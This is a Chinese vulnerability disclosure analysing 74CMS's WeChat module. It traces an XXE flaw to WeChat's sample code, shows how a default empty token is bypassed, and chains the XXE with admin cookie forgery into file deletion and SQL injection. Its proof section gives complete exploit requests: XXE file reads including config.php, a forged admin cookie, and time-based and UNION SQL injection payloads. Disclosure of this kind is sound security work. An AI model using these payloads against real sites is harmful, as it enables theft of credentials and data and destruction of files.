### 简要描述:
74CMS最新版绕过继续任意文件读取(通用性分析)到任意文件删除
### 详细说明:
0x000 简介
写这个漏洞的时候很纠结,不知道到底要提交给谁,74cms,cncert,腾讯?
最后还是交给74cms吧,因为74cms的厂商看了还是挺负责的,交给cncert又不知道能不能让厂商知道并修复,交给腾讯肯定又是忽略的节奏!
这里主要那74cms的漏洞和phpyun之前的漏洞分析,然后找出共同的问题点,然后找到来源,都是因为开发者的安全意识薄弱,还有腾讯的带头大哥榜样惹的祸,暂且这么说吧!
作为厂商只是那现成的来用,太依赖第三方的东西,完全没有自己考虑到问题的产生。
作为这个漏洞的来源腾讯,虽然提供了现成示例,示例中也有提到安全防御,但是只是一个提示,并没有真实的代码,由于带头大哥作用,用户很信任的直接拿来用了,然后问题产生了。。。
下面详细介绍。
0x001 任意文件读取漏洞
这里存在任意文件读取漏洞,应该是XXE漏洞,且同一文件存在多处
由于此漏洞又引起了SQL注入漏洞
74CMS最新版:74cms_v3.4.20140820 官方8.20号更新
之前雨牛提交过一次:
[WooYun: 74cms (20140709) 任意文件读取 & 注入漏洞](http://www.wooyun.org/bugs/wooyun-2014-068941)
这里直接就是没有检测checkSignature,只要signature参数设置了这个就直接进入函数responseMsg,然后漏洞就产生了
在最新版中,74cms在进入responseMsg前,添加了检测:
```
if(!$this->checkSignature())
{
exit();
}
```
但是这里的检测在默认情况下依然存在问题,可被绕过,看下面分析!
文件/plus/weixin.php:
```
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
}
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr))
{
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$keyword = iconv("utf-8","gb2312",$keyword);
$time = time();
$event = trim($postObj->Event);
if ($event === "subscribe")
{
$word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。";
$text="<xml>
<ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
<FromUserName><![CDATA[".$toUsername."]]></FromUserName>
<CreateTime>".$time."</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[".$word."]]></Content>
</xml> ";
exit($text);
}
```
这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
通过simplexml_load_string解析后的内容,直接带入了$postObj:
然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,且无视GPC。
整个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?!
实际证明是可行的,见漏洞证明!
在这之前还有一个条件:
```
private function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if($tmpStr == $signature )
{
return true;
}
else
{
return false;
}
}
```
如果用户设置了wx_token就没办法了,但是这个wx_token默认是空的。
所以在默认条件下,没有wx_token时,这个$tmpStr == $signature==da39a3ee5e6b4b0d3255bfef95601890afd80709,这是一个固定的值了,我们是完全可以利用上面的漏洞读入任意文件。
0x002 后台任意登陆及任意文件删除漏洞
由于我们上面的任意文件读取,可以读到任意文件,所以配置文件中的$QS_pwdhash也是可以读取到的
我们来看看后台的管理权限验证:
文件:/admin/admin_baiduxml.php
```
define('IN_QISHI', true);
require_once(dirname(__FILE__).'/../data/config.php');
require_once(dirname(__FILE__).'/include/admin_common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'xmllist';
$smarty->assign('act',$act);
$smarty->assign('pageheader',"百度开放平台");
......
```
开头引用了admin_common.inc.php,进入:
```
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout')
{
if($_COOKIE['Qishi']['admin_id'] && $_COOKIE['Qishi']['admin_name'] && $_COOKIE['Qishi']['admin_pwd'])
{
if(check_cookie($_COOKIE['Qishi']['admin_name'],$_COOKIE['Qishi']['admin_pwd']))
{
update_admin_info($_COOKIE['Qishi']['admin_name'],false);
}
else
{
setcookie("Qishi[admin_id]", '', 1, $QS_cookiepath, $QS_cookiedomain);
setcookie("Qishi[admin_name]", '', 1, $QS_cookiepath, $QS_cookiedomain);
setcookie("Qishi[admin_pwd]", '', 1, $QS_cookiepath, $QS_cookiedomain);
exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>');
}
}
else
{
exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>');
}
}
```
这里进行验证,如果未登录,且访问后台页面时,会判断COOKIE
当COOKIE中的admin_id,admin_name,admin_pwd不为空时,调用check_cookie检测验证
```
function check_cookie($user_name, $pwd)
{
global $db,$QS_pwdhash;
$sql = "SELECT * FROM ".table('admin')." WHERE admin_name='".$user_name."' ";
$user = $db->getone($sql);
if(md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == $pwd)
{
return true;
}
return false;
}
```
这里通过admin_name查出管理员的pwd,pwd_hash
然后md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash)
当此md5值等于cookie中的pwd时,然后true
所以,这里的admin_name可控,QS_pwdhash通过读取可控
当admin_name不存在时,返回的pwd,pwd_hash为空
此时
md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == md5(''.''.''.$QS_pwdhash) == pwd
所以,当我们cookie中的pwd等于QS_pwdhash的md5即可通过,返回true
此时即可操作这里的admin_baiduxml.php页面的功能
回到此页面:
```
elseif($act == 'del')
{
$xmlset=get_cache('baiduxml');
$xmldir = '../'.$xmlset['xmldir'];
echo $xmldir;
$file_name=$_POST['file_name'];
if (empty($file_name))
{
adminmsg("请选择文档!",1);
}
if (!is_array($file_name)) $file_name=array($file_name);
foreach($file_name as $f )
{
echo $xmldir.$f;
@unlink($xmldir.$f);
}
adminmsg("删除成功!",2);
}
```
当act=del时:
POST的file_name没有经过处理直接进入unlink函数,导致任意文件删除!
0x003 SQL注入漏洞
再往下看:
```
if (!empty($keyword))
{
if($_CFG['sina_apiopen']=='0')
{
$word="网站微信接口已经关闭";
$text="<xml>
<ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
<FromUserName><![CDATA[".$toUsername."]]></FromUserName>
<CreateTime>".$time."</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[".$word."]]></Content>
</xml> ";
exit($text);
}
$limit=" LIMIT 6";
$orderbysql=" ORDER BY refreshtime DESC";
if($keyword=="n")
{
$jobstable=table('jobs_search_rtime');
}
else if($keyword=="j")
{
$jobstable=table('jobs_search_rtime');
$wheresql=" where `emergency`=1 ";
}
else
{
$jobstable=table('jobs_search_key');
$wheresql.=" where likekey LIKE '%{$keyword}%' ";
}
$word='';
$list = $id = array();
$idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
while($row = $this->fetch_array($idresult))
{
$id[]=$row['id'];
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);
```
当sina_apiopen没有开启时,这里同样是XXE漏洞
当sina_apiopen开始时,keyword = trim($postObj->Content);,即为输入的xml中的content标签的内容,进入下面的SQL执行,由于这里的数据时无视GPC的,随意直接到SQL注入,读取任意用户数据了
=================================================================================================
上面讲了下74cms的漏洞,下面重点分析一下这个同意的XXE漏洞
0x004 拟似通用的微信模块XXE漏洞
下面我们来说一下这里的拟似通用的任意文件读取XXE漏洞
这里都是在微信功能里面
而且都是同样的原因引起的:
先判断checkSignature,这里只有一个参数TOKEN不可知,但是默认都是空
所以此函数的判断基本上忽略
然后$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];获取内容,都是通过simplexml_load_string解析获取的xml内容,不经过处理直接进入xml内容里,然后输入了
同样的案例phpyun人才系统也用
[WooYun: PHPYUN最新版任意文件读取漏洞](http://www.wooyun.org/bugs/wooyun-2014-064637)
74cms人才系统也有
所以怀疑这里的微信功能是同一模块代码都拿来直接用的
事实就是这样:
微信接口开发者指南:
http://mp.weixin.qq.com/wiki/index.php?title=%E6%8E%A5%E5%85%A5%E6%8C%87%E5%8D%97
这里就是phpyun和74cms中微信模块的来源
而且这里给出来现成的PHP示例代码:
http://mp.weixin.qq.com/mpres/htmledition/res/wx_sample.20140819.zip
来看看这里的示例代码:
```
<?php
/**
* wechat php test
*/
//define your token
define("TOKEN", "weixin");
$wechatObj = new wechatCallbackapiTest();
$wechatObj->valid();
class wechatCallbackapiTest
{
public function valid()
{
$echoStr = $_GET["echostr"];
//valid signature , option
if($this->checkSignature()){
echo $echoStr;
exit;
}
}
public function responseMsg()
{
//get post data, May be due to the different environments
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
//extract post data
if (!empty($postStr)){
/* libxml_disable_entity_loader is to prevent XML eXternal Entity Injection,
the best way is to check the validity of xml by yourself */
libxml_disable_entity_loader(true);
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}
}else {
echo "";
exit;
}
}
private function checkSignature()
{
// you must define TOKEN by yourself
if (!defined("TOKEN")) {
throw new Exception('TOKEN is not defined!');
}
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
// use SORT_STRING rule
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
}
?>
```
可以看到跟74cms的中的微信代码是一样的,phpyun也同样
唯一不同的地方就是,在示例代码里面有一个libxml_disable_entity_loader函数,这个函是用来prevent XML eXternal Entity Injection的,但是这只是示例中的一个提示,并不真正的存在此函数,需要的话得用户自己定义。
剩下的地方都是一样的,通过跟74cms和phpyun的开发人员沟通,都是直接那这里的示例代码稍加修改即利用的,而且都没有自定义这个libxml_disable_entity_loader函数,所以很明显是有问题的!!!
通过上面的分析和证明,这里74cms的任意文件读取漏洞跟phpyun的那个是一样的,同样的问题引起的,所以说是通用的漏洞毫不为过。
这,就是漏洞的来源!!!
### 漏洞证明:
任意文件读取漏洞证明:
注意这里的Content-Type
Content-Type: text/xml
```
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 275
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222</Content>
<Event>subscribe</Event>
</xml>
```
[<img src="https://images.seebug.org/upload/201409/0411491265aa5eb65ad6f63ff43afe8fa2ee938c.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/0411491265aa5eb65ad6f63ff43afe8fa2ee938c.png)
这里读入了txt文件,但是如果要读取php文件内容的话,这样是不行的
因为php源码里面有尖括号会破坏xml的格式,这样是读不出来PHP源码的
但是我们可以这样:
```
php://filter/read=convert.base64-encode/resource=../data/config.php
```
这样打出来的php内容是base64编码,我们在解码即可得到php源码内容了:
```
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 292
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../data/config.php">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222</Content>
<Event>subscribe</Event>
</xml>
```
[<img src="https://images.seebug.org/upload/201409/04114927d7e5804b2f58cfa76dd80ab54e5aeba7.png" alt="333.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04114927d7e5804b2f58cfa76dd80ab54e5aeba7.png)
[<img src="https://images.seebug.org/upload/201409/04114934107a50d2206d07a2346a459b2357cd1f.png" alt="444.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04114934107a50d2206d07a2346a459b2357cd1f.png)
后台任意文件删除:
通过上面读出QS_pwdhash的值
$QS_pwdhash = "~MmgQ0y~-3gw9cHq";
然后md5(~MmgQ0y~-3gw9cHq)= 64d3043b108382ce9be576eeac8de47f
然后添加COOKIE:admin_name要不存在的name,admin_id,admin_pwd等于MD5值
```
POST /74cms/admin/admin_baiduxml.php?act=del HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Qishi[admin_name]=adminname; Qishi[admin_pwd]=64d3043b108382ce9be576eeac8de47f; Qishi[admin_id]=1; PHPSESSID=aa12bf3aced95b1f56a0b9313037ea17
X-Forwarded-For: 127.0.0.1',`email`=(if(mid(user(),1,1)=char(114),sleep(3),0))#
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
file_name=../robots.txt
```
看看结果,成功删除:
[<img src="https://images.seebug.org/upload/201409/04150241b824f9b7e980cf436bc49fc4d20fd2cc.png" alt="555.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04150241b824f9b7e980cf436bc49fc4d20fd2cc.png)
robots.txt已被删除:
[<img src="https://images.seebug.org/upload/201409/041502592b8a042963e83d738e3591fb0e98df1c.png" alt="666.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/041502592b8a042963e83d738e3591fb0e98df1c.png)
SQL注入漏洞:
```
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 341
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222' union select concat(admin_name,0x23,pwd,0x23,pwd_hash) from qs_admin#</Content>
<Event>3333</Event>
</xml>
```
[<img src="https://images.seebug.org/upload/201409/04114950c154ae9f5f6acb3cdc39a9bd5fa3a112.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/04114950c154ae9f5f6acb3cdc39a9bd5fa3a112.png)
暂无评论